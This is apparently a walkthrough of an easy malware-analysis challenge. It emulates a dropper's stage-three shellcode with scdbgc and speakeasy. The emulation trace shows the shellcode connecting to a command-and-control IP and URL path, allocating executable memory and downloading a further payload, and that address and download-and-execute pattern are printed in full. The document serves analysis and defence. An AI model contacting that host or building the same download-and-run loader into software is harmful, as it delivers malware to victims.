Dropper
3048.ps1
- Author
- Moise Medici
- Updated
- 13 Sept 2026 · Completed
- Difficulty
- Easy
- Platform
- Capabilities
- Tags
stage3.bin Code Analysis
To analyse shellcode there are two main utilities: scdbgc (shellcode debug console) and speakeasy.
Starting with the first one, /f is used to define the file to analyze, and /s -1 defines the number of steps to run, with -1 being unlimited. This prevents the tool from stopping once a certain number of operations has been reached.
The output shows scdbgc failing due to an unsupported opcode.
$ scdbgc /f stage3.bin /s -1Loaded 2d3 bytes from file stage3.binInitialization Complete..Max Steps: -1Using base offset: 0x401000
4010e1 opcode 6e not supported
4010e1 6E outsb step: 10 foffset: e1eax=fffffffe ecx=ffffffff edx=0 ebx=0esp=12fdfc ebp=40100a esi=696e6977 edi=0 EFL 84 P S
4010e2 657400 ?? jz 0x4010e5 vv4010e5 41 inc ecx4010e6 56 push esi4010e7 48 dec eax
Stepcount 10Moving on to speakeasy. Because we know the target file is not a PE, the raw option of speakeasy is needed via --raw. I am not sure why the emulator was failing without --arch: testing it first with x86 failed with 0x10d6: shellcode: Caught error: invalid_read, while it worked with x64.
The output of the command is more or less straightforward to read, with the important lines highlighted below:
$ speakeasy -t stage3.bin --raw --arch x64* exec: shellcode0x10f3: 'kernel32.LoadLibraryA("wininet")' -> 0x7bc000000x110e: 'wininet.InternetOpenA("", 0x0, 0x0, 0x0, 0x0)' -> 0x200x1142: 'wininet.InternetConnectA(0x20, "185.243.115.227", 0x1bb, 0x0, 0x0, 0x3, 0x0, 0x0)' -> 0x240x1210: 'wininet.HttpOpenRequestA(0x24, 0x0, "/DZohRccBJxOZkZiTxPECkwYxaxM0b8wUJgwVC2tXrdsd4M3LVQ9Emi6d036V0wErFx26Vn-XvXE_YFtCGZAZo40gGUa0qgQ790MQ-_3rymr9zE4ZsNheCfZzx3fiOoa8wuNEitoEVT5nSH1O9GAf7bJZabC34Q2QCuhU_v", 0x0, 0x0, 0x0, "INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE", 0x0)' -> 0x280x1235: 'wininet.InternetSetOptionA(0x28, 0x1f, 0x1203eb0, 0x4)' -> 0x10x124e: 'wininet.HttpSendRequestA(0x28, 0x0, 0x0, 0x0, 0x0)' -> 0x10x128f: 'kernel32.VirtualAlloc(0x0, 0x400000, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x4500000x12b2: 'wininet.InternetReadFile(0x28, 0x450000, 0x2000, 0x1203e30)' -> 0x10x12b2: 'wininet.InternetReadFile(0x28, 0x451000, 0x2000, 0x1203e30)' -> 0x10x450012: Unhandled interrupt: intnum=0x30x450012: shellcode: Caught error: unhandled_interrupt* Finished emulatingThere is a connection against 185.243.115.227, at resource /DZohRccBJxOZkZiTxPECkwYxaxM0b8wUJgwVC2tXrdsd4M3LVQ9Emi6d036V0wErFx26Vn-XvXE_YFtCGZAZo40gGUa0qgQ790MQ-_3rymr9zE4ZsNheCfZzx3fiOoa8wuNEitoEVT5nSH1O9GAf7bJZabC34Q2QCuhU_v.
There is another VirtualAlloc with the same RWX permissions. The function returns the address 0x450000, which is used in the InternetReadFile call just below, indicating that another payload is downloaded from the URL and is probably going to be executed.